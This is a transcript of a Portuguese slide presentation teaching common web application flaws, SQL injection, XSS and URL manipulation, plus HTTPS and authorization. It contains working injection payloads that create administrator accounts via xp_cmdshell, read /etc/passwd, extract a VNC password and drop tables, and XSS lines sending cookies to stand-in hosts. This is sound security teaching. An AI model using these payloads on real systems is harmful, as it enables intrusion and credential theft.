falhas mais comuns em aplicações web. agenda introdução explicando cada ataque através de...

Post on 16-Apr-2015

116 Views

Category:

Documents

3 Downloads

Preview:

Click to see full reader

TRANSCRIPT

Falhas mais comuns em aplicações WEB

Agenda• Introdução• Explicando cada ataque através de exemplos

– URL Manipulation– SQL Injection– XSS Cross Site Scripting

• Como resolve-los• O que HTTPS nos oferece

– Porque HTTPS não resolve nossos problemas?

• Próximos passos do projeto ….

Introdução• Os ataques a serviços de rede estão se tornando

muito sofisticados• A criatividade humana não para• Mas o que faltava?

– APLICAÇÕES!!! Mas será que é possível?

• Atualmente a maioria dos BUG’s reportados estão em aplicações

• Application Security != Network Security• Não se esqueçam: Quem provê acesso aos dados?

As aplicações !!!

Introdução – Lendas Urbanas• Não ha problemas

– Até que a aplicação seja comprometida

• Erros de runtime não são problemas (tratamento de erros)– Exponham informações relevantes– Consumam todo recurso do servidor

• Web Services não são vulneráveis– Quase nunca testados e raramente segurança é considerada

• Solução– Testes de penetração. São caros !!!

Introdução - Números• Gartner

– 75% dos ataques acontecem no nível das aplicações– Em caso de falha no sistema provavelmente os

desenvolvedores são três vezes mais culpados do que os administradores de sistemas

• NIST– 92% das vulnerabilidadces estão no nível das

aplicações

Introdução• Nosso foco será demonstrar estes BUG’s de forma prática

• Para nos proteger temos que entender das táticas e armas no nosso inimigo

• Temos que ter nossas armas para nos defender !!!

Testes e segurança por onde vai ….

Contexto

• Não há segurança de sistemas sem a conjuncão de tres fatores– Boas praticas de codificação– Metodologia adequada (arquitetura e etc)– Testes ..... E ai vem .....

O que é segurança

• Segurança em um “end line”– Mas o que é isso?

– Não se discute segurança sem entender de• Arquitetura de Computadores, Sistemas

Operacionais, Redes de computadores (protocolos de comunicação, Linguagem de programação, engenharia de software e Logica.

O que é segurança

• Entao o que eu preciso saber para se poder testar ....

– Opção 1: seguir os procedimentos definidos alguem que sabe disso tudo

– Opção 2: Saber disso tudo

Então para o que querem ....

Então para o que querem ....

Então para o que querem ....

Então para o que querem ....

Então para o que querem ....

Então para o que querem ....

Então para o que querem ....

Segurança de Redes• Recursos

– Sites

• www.securityfocus.com

• www.cert.com

• www.rootkit.com

Segurança de Redes– Periódicos

• Linux Journal

• Sys Admin Magazine

• Information Security

• SC Info Security Magazine• Security Magazine (Nacional)

Testes

OSSTMM

• Agora faça seu checklist – O que fazer?– O que testar?– Como fazer?

– São as resposta que queremos. Vamos começar por .....

AQUI

Em Aplicações WEB

URL Manipulation • O comando GET requisita informações importantes na URL• Os parâmetros podem ser manipulados para se obter resultados

satisfatórios• O impacto é ALTO• Variações podem ser feitas para se tentar obter resultados

interessantes

http://www.paladiontest.com/example?accountnumber=12345&debitamount=1

URL Manipulation

URL Manipulation

SQL Injection

• A idéia é injetar um comando SQL (Structured Query Language) ou comando como imput dos dados em um formulário WEB

• Todos os parâmetros passados são direcionados para o banco de dados

• O atacante pode manipular com as tabelas e dados diretamente

Causas - SQL Injection

public void OnLogon(object src, EventArgs e){ SqlConnection con = new SqlConnection( "server=(local);database=myDB;uid=sa;pwd;" );

string query = String.Format( "SELECT COUNT(*) FROM Users WHERE " + "username='{0}' AND password='{1}'", txtUser.Text, txtPassword.Text ); SqlCommand cmd = new SqlCommand(query, con); conn.Open(); SqlDataReader reader = cmd.ExecuteReader(); try{ if(reader.HasRows()) IssueAuthenticationTicket(); else TryAgain(); } finally{ con.Close() }}

SQL Injection – Problemas

Esperado:username: abcpassword: teste123

Quando submetido a query será montada como:select * from users where username='abc' and password = 'test123'

Não esperado:username: abc'; -- password: A query enviada para o banco de dados será:select * from users where uname='abc’; --' and password=''

SQL Injection – Problemas

Esperado:Username: dougPassword: p@$$w0rd

SELECT COUNT(*)FROM Users WHERE username='doug' and password='p@$$w0rd'

Não esperado:Username: ' OR 1=1 --Password:

SELECT COUNT(*)FROM UsersWHERE username='' OR 1=1 -- and password=''

SQL Injection

`

Usuário Malicioso

Site vulnerável

http://target.site/login.jsp

EsperadoNão esperado

Login com Sucesso

SQL Injection – Mais exemplos

Identificando campos de uma tabela

SELECT fieldlist FROM table WHERE field = 'x' AND email IS NULL; --';

Verificando se a tabela existe

SELECT email, passwd, login_id, full_name FROM table WHERE email = 'x' AND 1=(SELECT COUNT(*) FROM tabname); --';

SQL Injection – Mais exemplos

Procurando por usuários

SELECT email, passwd, login_id, full_name FROM members WHERE email = 'x' OR full_name LIKE '%Maria%';

Ataques de força bruta

SELECT email, passwd, login_id, full_name FROM members WHERE email = ‘ususario@provedor.com' AND passwd = ‘senha123';

SQL Injection – Mais exemplos

Verificando as permissões no Database

SELECT email, passwd, login_id, full_name FROM members WHERE email = 'x'; DROP TABLE members; --';

Criando um usuárioSELECT email, passwd, login_id, full_name FROM members WHERE email = 'x';

INSERT INTO members ('email','passwd','login_id','full_name')VALUES (‘usuario@provedor.com',‘senha',‘user',‘User da Internet');--';

SQL Injection – Mais exemplos

Alterando o mail de comunicação

SELECT email, passwd, login_id, full_name FROM members WHERE email = 'x';

UPDATE members SET email = ‘usuario@provedor.com' WHERE email = ‘usuario@hackprovedor.com';

Caracteres utilizados' ou " Utilizado para indicar tipo char

-- ou # Comentário

/*…*/ Comentário de várias linhas

+ Adição, concatenação

|| Concatenação

% Wildcard

?Param1=foo&Param2=bar Parâmetros da URL

PRINT Muito utilizado quando não temos transações

@variable Variável Local

@@variable Variável Global

waitfor delay '0:0:10' Delay

SQL Injection• http://172.27.70.25/tikiwiki-1.8/tiki-

directory_search.php?how=or&words=&where=all&sort_mode=delete%20*%20from%20users_uses

Determinando a versão do SGBD

• Na maioria do tempo as mensagens de erro nos ajudam a identificar qual o SGBD utilizado– As mensagens de erro ODBC mostram SGBD

utilizado

• Se não tivermos as mensagens ODBC– Tentamos analisar qual a tecnologia utilizada na

aplicação e no servidor WEB– Tentamos utilizar caracteres, comandos ou stored

procedures que geram erros específicos

Determinando a versão do SGBD

MS SQLT-SQL MySQL Access

OraclePL/SQL DB2

PostgresPL/pgSQL

Concatenat

e Strings

' '+' ' concat (" ", " ")

" "&" " ' '||' ' " "+" " ' '||' '

Null replace

Isnull() Ifnull() Iff(Isnull()) Ifnull() Ifnull() COALESC

E()

Position

CHARINDEX

LOCATE() InStr() InStr() InStr()TEXTPOS()

Op Sys interactio

n

xp_cmdshell

select into

outfile / dumpfile

#date# utf_fileimport from

export toCall

Cast Yes No No No Yes Yes

Interagindo com o sistema Operacional

• Existem duas maneiras de se interagir com o sistema operacional– Lendo arquivos

• Obtendo arquivos de senhas• Trocando senhas dos usuários• Executando comandos que troquem parâmetros do sistema

– Execução direta de comandos• Não ha limites !!!

• Qualquer ação depende do privilégio que o usuários utilizado pelo SGBD possui

MySQL e a interação O.S. • MySQL

– LOAD_FILE• ' union select 1,load_file('/etc/passwd'),1,1,1;

– LOAD DATA INFILE• create table temp( line blob );• load data infile '/etc/passwd' into table temp;• select * from temp;

– SELECT INTO OUTFILE

MS SQL e a interação O.S. • MS SQL Server

– '; exec master..xp_cmdshell 'ipconfig > test.txt' --– '; CREATE TABLE tmp (txt varchar(8000)); BULK INSERT

tmp FROM 'test.txt' --– '; begin declare @data varchar(8000) ; set @data='| ' ; select

@data=@data+txt+' | ' from tmp where txt<@data ; select @data as x into temp end --

– ' and 1 in (select substring(x,1,256) from temp) --– '; declare @var sysname; set @var = 'del test.txt'; EXEC

master..xp_cmdshell @var; drop table temp; drop table tmp --

Arquitetura mais comum• Sempre tenha em mente• O SQL normalmente é executado em um outro servidor• O servidor de BD normalmente não tem acesso a

Internet e é protegido

Web Server

PaginasWEB

Database Server

Execução Do SQL

Application Server

ValidaçãoDa

Entrada

Comando de rede relevantes• Usando a SP xp_cmdshell podemos

executar:– Ipconfig /all– Tracert myIP– arp -a– nbtstat -c– netstat -ano– route print

Manipulando com as informações da rede• '; declare @var varchar(256); set @var = ' del test.txt && arp -a >>

test.txt && ipconfig /all >> test.txt && nbtstat -c >> test.txt && netstat -ano >> test.txt && route print >> test.txt && tracert -w 10 -h 10 google.com >> test.txt'; EXEC master..xp_cmdshell @var --

• '; CREATE TABLE tmp (txt varchar(8000)); BULK INSERT tmp FROM 'test.txt' --

• '; begin declare @data varchar(8000) ; set @data=': ' ; select @data=@data+txt+' | ' from tmp where txt<@data ; select @data as x into temp end --

• ' and 1 in (select substring(x,1,255) from temp) --• '; declare @var sysname; set @var = 'del test.txt'; EXEC

master..xp_cmdshell @var; drop table temp; drop table tmp --

Manipulando com o S.O.• Linux MySQL

– ' union select 1, (load_file('/etc/passwd')),1,1,1;

• MS SQL Criando usuários– '; exec xp_cmdshell 'net user /add victor Pass123'--– '; exec xp_cmdshell 'net localgroup /add

administrators victor' --

• Iniciando serviços– '; exec master..xp_servicecontrol 'start','FTP

Publishing' --

Obtendo a senha do VNC

• '; declare @out binary(8) exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\ORL\WinVNC3\Default', @value_name='Password', @value = @out output select cast(@out as bigint) as x into TEMP--

• ' and 1 in (select cast(x as varchar) from temp) --

XSS Cross Site Scripting

WEB Session Hijaking• Não a ligação entre o ID do login e o ID da

sessão

• A sessão do usuário pode ser roubada

• Impacto é ALTO

• A idéia e obter de alguma forma o HASH

da sessão

Cross Site Scripting

`

User

banco.comsitehaker.com

http://banco.com/login/

Webpage + Cookies

Cookie

Link malicioso em uma pagina web ou e-mail malicioso

Malicious Linkhttp://bank.com/account.jsp? <SCRIPT>Envia cookie para sitehaker.com

Reflected Code<SCRIPT>Envia o Cookie para attacker.com</SCRIPT>

Cookie

Executed

Cross Site Scripting (XSS)• Esta vulnerabilidade tira vantagens de sites

que não fazem o tratamento dos dados de entrada.

• O POST contém um script que pode ser executado via browser

<script>window.navigate("http://somesite.net/steal.asp?cookie="+document.cookie)</script>

XSS – Como o atacante depura

• Pode colocar uma mensagem no post

<script>alert(“this is

vulnerable”)</script>

• A aplicação retorna a sua submissão –

XSS – Exemplos • Pode se receber um e-mail com o um link

• O resultado é enviado para um site

http://www.mymail.com?

search=“<script>window.

navigate("http://badsite.net/steal.asp?

cookie="+document.cookie)</script>”

http://www.steve.org.uk/Hacks/XSS/simple.html

XSS – Exemplos do passado• http://www.fotolog.net/about.html?user

=%3Cscript%3Ealert(%22rfdslabs%22)%3C/script%3E• http://www.microsoft.com/education/?

ID=MCTN&target=http://www.microsoft.com/education/?ID=MCTN&target="><script>alert(document.cookie)</script>

• http://hotwired.lycos.com/webmonkey/00/18/index3a_page2.html?tw=<script>alert(‘Test’);</script>

• http://www.shopnbc.com/listing.asp?qu=<script>alert(document.cookie)</script>&frompage=4&page=1&ct=VVTV&mh=0&sh=0&RN=1

• http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/im_search_exe?search_text=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E

•Solução

–Sempre valide a sessão com login e os parâmetros críticos

Sistemas distribuídos• Sistemas distribuídos podem ser vistos de maneira geral

como diferentes elementos de software (aplicações) executando remotamente (ou em locais remotos) e se comunicando para fornecer/consumir serviços.– Conjunto de máquinas autônomas– Interconectadas por canais de comunicação– Comunicando-se por troca de mensagens– Independência de falhas (falhas parciais)– Ausência de relógio global– Ausência de estado global– Estado compartilhado da aplicação (através de comunicação)

Sistemas distribuídos• Além de considerar todos os problemas

anteriores– Eles se potencializam num cenário distribuído

• Precisamos usar– Comunicação Segura– Autenticação– Integridade dos dados trafegados– Serviços de rede passam a ser problemas : DNS

Principalmente.

Comunicação segura• O que podemos usar

– VPN: IPSec, PPTP, ....– Custoso– Por ser necessário uma configuração especial, a

aplicação depende não somente dela mas da rede prover

– Mas lembre-se

A REDE É INSEGURA !!!!!

E a aplicação ?• Autenticação

• Integridade dos dados trafegados

• Que tal uma PKI ?– Temos Autenticação– Temos Integridade e confidenciaidade se

encriptarmos os dados

O que HTTPS nos oferece• HTTPS resolve os problemas de segurança apontados

anteriormente?• Mas então para que usar HTTPS?

– Muitas vezes dizemos que o uso de HTTPS nos temos o servidor seguro

O que HTTPS nos oferece• HTTPS é a versão “segura” do protocolo

HTTP que implementa a autenticação e encriptação da comunicação.– Previne os ataques do tipo men-in-the-middle e

que dados interceptados sejam “lidos”

• A autenticação é uma característica muito explorada atualmente– ICP-BR

O que HTTPS nos oferece1. Negocia qual sistema de

codificação será usado durante a transferência

2. Estabelece e troca as chaves de sessão entre o cliente e o servidor

3. Opcionalmente autentica o servidor para o cliente

4. Opcionalmente autentica o cliente para o servidor

Autenticação usando certificados e chaves públicas/privadas

Webserver

End user

Fase do desafio(Mensagem Randômica)

Protocolos de encriptação Protocolos de

Encriptação OK

Identificação da Conexão Randômica (server)

CA chave pública

OK! Se o cliente não tiver a chave pública da CA (recebemos uma mensagem informando O certificado não é valido)

| Cancel | Always Trust | Trust this time |

Fase do desafio(Mensagem Randômica)

Identificão da Conexão Randômica (server)

Chave e certificado público do servidor

Autenticação usando certificados e chaves públicas/privadas

Webserver

End user CA chave pública

Fase do desafio(Mensagem Randômica

Identificão da Conexão Randômica (server)

Sessão master Par de chavessimétricas

(Encriptado)

Chave e certificado público do servidor

Autenticação usando certificados e chaves públicas/privadas

Webserver

End user CA chave pública

Fase do desafio(Mensagem Randômica

Identificão da Conexão Randômica (server)

Sessão master

LeituraEscrita

Par de chavessimétricas

dentificão da Conexão Randômica (server)

Par de chavessimétricas

Leitura EscritaIdenfificão da Conecção Randomica (server)

Fase do desafio(Mensagem Randômica

Fase do desafio(Mensagem Randômica

A autenticação do cliente pode começar agora

Chave e certificado público do servidor

Porque HTTPS não resolve nossos problemas?

• Porque nossos problemas não estão apenas nos protocolos ou na comunicação. Temos problemas nas aplicações e estas hierarquicamente estão acima dos protocolos de comunicação.

Autorização• Associar direitos, capacidade e

“habilidades” associadas a um assunto

• A autorização geralmente vem após uma autenticação

– Ex.: Uma vez que se sabe quem é o usuário foi “autenticado” o serviço decidirá o que o usuário pode fazer no contexto que ele esta “autorizado”

Autorização• RBAC

• Autorização baseada em perfil

• Autorização baseada em contexto

• http://maca.sourceforge.net

Auditoria• Loggin analises

– Data warehouse– Mineração de dados

• Correlação de eventos

Próximos passos• Componente focado em resolver os problemas

apresentados– Não intrusivo

– Flexível

– Performance

– Fácil de usar

• Autenticação – Componente para autenticar

• Login/Senha• Certificado Digital• Biometria

Referências• http://www.owasp.org/• http://www.isecom.org/osstmm/

– Open-Source Security Testing Methodology Manual

• Web Application Disassembly with ODBC Error Messages• JavaOne 2005

– Strategies for Securing Java™ Technology Code

– Web Services Security Attacks in Action

– 9 Ways to Hack a Web App

• Advanced SQL Injection In SQL Server applications• Advanced Cross Site Scripting• CROSS-SITE TRACING (XST)• SQL Injection Signatures Evasion

F I M

top related